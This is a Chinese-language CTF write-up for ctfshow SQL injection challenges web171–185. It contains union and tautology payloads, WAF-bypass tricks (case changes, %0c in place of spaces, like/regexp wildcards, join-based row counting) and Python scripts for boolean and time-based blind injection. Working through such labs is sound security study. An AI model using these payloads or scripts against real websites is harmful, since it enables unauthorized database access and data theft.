未过滤注入

web171

可以用正常的联合注入,也可以用万能密码

1
2
1' or '1'='1'--+
1' || 1--+

联合注入

1
2
3
4
5
6
1' order by 4--+	
-1' union select 1,2,3--+
-1' union select 1,2,database()--+
-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+
-1' union select 1,2,(select password from ctfshow_user where username = 'flag')--+

查询语句这里不会对我们的联合注入造成影响,只是正常的查询不会返回带flag的数据

web172

多了个返回逻辑

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

万能密码用不了,这里的话会对username为flag的数据进行过滤,正常打联合注入

1
2
3
4
-1' union select 1,2--+
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user2')--+
-1' union select 1,(select password from ctfshow_user2 where username = 'flag')--+

这样可以打,不过如果是这样的话就不行了

1
-1' union select 1,(select username,password from ctfshow_user2 where username = 'flag')--+

因为查询的结果中有username为flag,上面的话是我们只是返回username为flag的password值,并不会碰到过滤,所以我们上面的语句才能查询到flag

web173

正常打联合注入

1
2
3
4
5
-1' union select 1,2,3--+
-1' union select 1,2,database()--+
-1' union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user3')--+
-1' union select 1,2,(select password from ctfshow_user3 where username='flag')--+

这里的话刚好flag是ctfshow开头的,所以不会被过滤掉,如果我们的flag是flag开头的话需要绕过,例如username是flag,我们可以用编码函数去绕过(使用hex或者使用reverse、to_base64等函数加密)

1
-1' union select id,hex(username),password from ctfshow_user3 where username='flag'--+

web174

增加过滤了数字,打盲注就行

看看正确回显和错误回显

image-20250502125228340

image-20250502125237421

拿脚本跑吧,这次用二分法去跑,刚好学一下写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url = "http://49bd2539-814b-433b-ac46-2cee1327b9df.challenge.ctf.show/api/v4.php"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) //2

#payload = f"1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)--+"
#payload = f"1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user4'),{i},1))>{mid},1,0)--+"
payload = f"1' and if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))>{mid},1,0)--+"
print(payload)
r = requests.get(url+"?id="+payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

web175

这下是完全没内容了,到打时间盲注了

1
1' and sleep(4)--+

成功延迟

image-20250502130617338

那就打时间盲注吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time

url = "http://7a2710eb-ee46-496f-bf62-839bb89fdee0.challenge.ctf.show/api/v5.php"

result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) // 2

#payload = f"?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))>{mid},sleep(4),0)--+"
#payload = f"?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user5'),{i},1))>{mid},sleep(4),0)--+"
payload = f"?id=1' and if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(4),0)--+"
print(payload)

start_time = time.time()
r = requests.get(url+payload)
request_time = time.time()-start_time

if request_time > 4 :
print(f"成功延迟,ascii>{mid}")
head = mid + 1
else:
print(f"未延迟,ascii<={mid}")
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
print(result)

过滤注入

web176

万能密码可以做

fuzz一下发现过滤了select

image-20250502133426113

在mysql中对大小写是不敏感的,只要waf没有对大小写限制就可以用大写去绕过

1
2
3
4
-1' union Select 1,2,3--+
-1' union Select 1,2,(Select group_concat(table_name)from information_schema.tables where table_schema=database())--+
-1' union Select 1,2,(Select group_concat(column_name)from information_schema.columns where table_name='ctfshow_user')--+
-1' union Select 1,2,password from ctfshow_user where username='flag'--+

web177

fuzz一下,过滤了空格和注释符--+

1
1'/**/or/**/'1'='1'%23

web178

这次过滤了*,换编码去绕过就行

%09绕过空格

1
1'%09or%09'1'='1'%23

web179

%09被过滤了,%0c绕过空格

1
1'%0cor%0c'1'='1'%23

web180

刚好看到一个fuzz单个字符的脚本,尝试着写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re

url="http://5855f9fc-5b45-4d37-9ec0-4785fc6143c3.challenge.ctf.show/api"
target = re.compile("admin")

right_chr = []
waf_chr = []

for i in range(32,127):
char = chr(i)
payload = f"?id=1'and'{char}'='{char}"

r = requests.get(url+payload)
w = target.search(r.text)
if w is not None:
right_chr.append((i,char))
else:
waf_chr.append((i,char))

print("未被过滤的字符: ",right_chr)
print("\n")
print("waf: ",waf_chr)

fuzz的结果

1
2
3
未被过滤的字符:  [(33, '!'), (34, '"'), (36, '$'), (37, '%'), (40, '('), (41, ')'), (44, ','), (45, '-'), (46, '.'), (47, '/'), (48, '0'), (49, '1'), (50, '2'), (51, '3'), (52, '4'), (53, '5'), (54, '6'), (55, '7'), (56, '8'), (57, '9'), (58, ':'), (59, ';'), (60, '<'), (61, '='), (62, '>'), (63, '?'), (64, '@'), (65, 'A'), (66, 'B'), (67, 'C'), (68, 'D'), (69, 'E'), (70, 'F'), (71, 'G'), (72, 'H'), (73, 'I'), (74, 'J'), (75, 'K'), (76, 'L'), (77, 'M'), (78, 'N'), (79, 'O'), (80, 'P'), (81, 'Q'), (82, 'R'), (83, 'S'), (84, 'T'), (85, 'U'), (86, 'V'), (87, 'W'), (88, 'X'), (89, 'Y'), (90, 'Z'), (91, '['), (93, ']'), (94, '^'), (95, '_'), (96, '`'), (97, 'a'), (98, 'b'), (99, 'c'), (100, 'd'), (101, 'e'), (102, 'f'), (103, 'g'), (104, 'h'), (105, 'i'), (106, 'j'), (107, 'k'), (108, 'l'), (109, 'm'), (110, 'n'), (111, 'o'), (112, 'p'), (113, 'q'), (114, 'r'), (115, 's'), (116, 't'), (117, 'u'), (118, 'v'), (119, 'w'), (120, 'x'), (121, 'y'), (122, 'z'), (123, '{'), (124, '|'), (125, '}'), (126, '~')]

waf: [(32, ' '), (35, '#'), (38, '&'), (39, "'"), (42, '*'), (43, '+'), (92, '\\')]

这里的话还是过滤了空格的,并且也过滤了注释符号%23,试着去闭合单引号就行

1
2
3
4
5
-1'%0cunion%0cselect%0c'1','2','3
-1'%0cunion%0cselect%0c'1',database(),'3
-1'%0cunion%0cselect%0c'1',(select%0cgroup_concat(table_name)from%0cinformation_schema.tables%0cwhere%0ctable_schema=database()),'3
-1'%0cunion%0cselect%0c'1',(select%0cgroup_concat(column_name)from%0cinformation_schema.columns%0cwhere%0ctable_name='ctfshow_user'),'3
-1'%0cunion%0cselect%0c'1',(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'),'3

这道题一开始还用limit语句限制了返回的内容,后面把1换成-1才看到回显

web181

这次waf给出来了

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

完全过滤了空格的绕过方法和select关键字,然后可以用万能密码的一个变式去做

1
-1'||username='flag

这里比较复杂,稍微写的详细一点,这个payload是为什么呢?

我们插入到查询语句中

1
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '-1'||username='flag' limit 1;";

然后我们看一下mysql运算符的优先级

image-20250502143641687

在查询语句中,因为AND的优先级高于OR,所以WHERE的表达式可以拆分为

1
(username != 'flag' AND id = '-1') || (username = 'flag')

username != 'flag' AND id = '-1' 会被优先计算,然后与 username = 'flag' 进行 OR 运算。

  • 如果 username = 'flag' 为真,则整个条件为真,无论 username != 'flag' AND id = -1 是否为真。
  • 因此,如果表中存在 username='flag' 的数据,这条查询一定会返回该数据。

web182

这次多过滤了个flag,不过可以用like模糊匹配绕过

1
-1'||(username)like'fla_`或者是`-1'||(username)like'fla%

关于like中的通配符

% 匹配零个或多个任意字符 'a%' 匹配所有以a开头的字符串
_ 匹配单个任意字符 'a_' 匹配所有以a开头的两个字符长度的字符串

这里的话在学习MySQL的时候也学到过

web183

查询语句

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

增加过滤了=orand等字符

这里的话出现了一个查询结果

1
2
//返回用户表的记录总数
$user_count = 0;

可以用like模糊匹配去做

1
$sql = "select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%';";

返回$user_count = 1;

如果没匹配上的话就返回0,这样就可以写脚本去盲注了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://5d62f6db-f813-4b1e-a2be-b100259ff40d.challenge.ctf.show/select-waf.php"

string = "1234567890abcdefghijklmnopqrstuvwxyz-}"

flag = "ctfshow{"
for i in range(100):
for j in string:
payload = f"(ctfshow_user)where(pass)like'{flag+j}%'"
data = {
"tableName" : payload
}
r = requests.post(url, data=data)
if "$user_count = 1;" in r.text:
flag +=j
print(flag)
break
if j == "}":
exit()

web184

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

这道题把时间盲注的两个常用函数禁用了,我还想着上一题是不是可以用时间盲注去打来着但是没打出来

这里还禁用了where语句和一些逻辑运算符例如&&||,上面的方法不能用了,可以打左右连接

ctfshow_user表一共有22行数据

写个payload

1
tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42)))

这里的话将ctfshow_user表设为两个表,并通过on后面的条件连接起来,此时满足on连接条件的话会返回,为什么呢?

我们先在本地测试一下

3ceb4d92bafbc3517de1403e654c983

可以看到当on的条件不一样的时候返回的结果也不一样

a.username = "man" 左表 左表(a)的 username 必须等于 "man",才会尝试匹配右表(b)的所有行。
b.username = "man" 右表 右表(b)的 username 必须等于 "man",才会被左表(a)的行匹配。

所以回到刚刚的payload

1
tableName=ctfshow_user as a left join ctfshow_user as b on a.pass regexp(CONCAT(char(99),char(116),char(42)))

这里的话会用a表中符合regexp的pass行去匹配b表,a表所有的数据去掉连接条件的那行就是22行,然后连接条件的那行会和右表的所有内容进行连接,所以最后的结果就是21+22=43行

那么我们用regexp去进行匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://e09f8d14-24eb-4d77-8dff-7d150969e103.challenge.ctf.show/select-waf.php"

flag = "ctfshow{"
for i in range(9,50):
for j in range(32,127):
payload = f"ctfshow_user as a left join ctfshow_user as b on (substr(a.pass,{i},1)regexp(char({j})))"
data = {
"tableName" : payload,
}
print(data)
r = requests.post(url, data=data)
if "$user_count = 43;" in r.text:
if chr(j) != ".":
flag += chr(j)
print(flag)
break
if chr(j) == "}":
exit()

这里的话需要注意要排除小数点,因为小数点在regexp的正则里小数点能匹配除 “\n” 之外的任何单个字符

web185

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}